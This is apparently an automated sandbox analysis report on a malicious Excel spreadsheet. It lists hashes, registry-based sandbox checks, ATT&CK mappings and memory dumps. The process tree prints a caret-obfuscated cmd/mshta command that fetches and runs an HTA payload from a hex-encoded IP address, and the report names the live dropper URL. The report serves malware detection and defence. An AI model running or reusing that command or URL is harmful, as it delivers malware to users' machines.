815d6dc3598d029eb56138acb6978353dea267dde13af9358843bab74f9791d3

General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3184	1956	cmd.exe	82

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow	pid	Process
27	116	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
1956	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	Process
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 1956 wrote to memory of 3184	1956	EXCEL.EXE	86
PID 1956 wrote to memory of 3184	1956	EXCEL.EXE	86
PID 3184 wrote to memory of 116	3184	cmd.exe	88
PID 3184 wrote to memory of 116	3184	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1956-0-0x00007FFA8E550000-0x00007FFA8E560000-memory.dmp

Filesize
64KB

Download
memory/1956-3-0x00007FFA8E550000-0x00007FFA8E560000-memory.dmp

Filesize
64KB

Download
memory/1956-2-0x00007FFA8E550000-0x00007FFA8E560000-memory.dmp

Filesize
64KB

Download
memory/1956-1-0x00007FFACE56D000-0x00007FFACE56E000-memory.dmp

Filesize
4KB

Download
memory/1956-4-0x00007FFA8E550000-0x00007FFA8E560000-memory.dmp

Filesize
64KB

Download
memory/1956-5-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-6-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-7-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-9-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-10-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-11-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-12-0x00007FFA8BC50000-0x00007FFA8BC60000-memory.dmp

Filesize
64KB

Download
memory/1956-8-0x00007FFA8E550000-0x00007FFA8E560000-memory.dmp

Filesize
64KB

Download
memory/1956-14-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-13-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-15-0x00007FFA8BC50000-0x00007FFA8BC60000-memory.dmp

Filesize
64KB

Download
memory/1956-17-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-18-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-16-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-29-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-30-0x00007FFACE56D000-0x00007FFACE56E000-memory.dmp

Filesize
4KB

Download
memory/1956-34-0x00007FFACE4D0000-0x00007FFACE6C5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads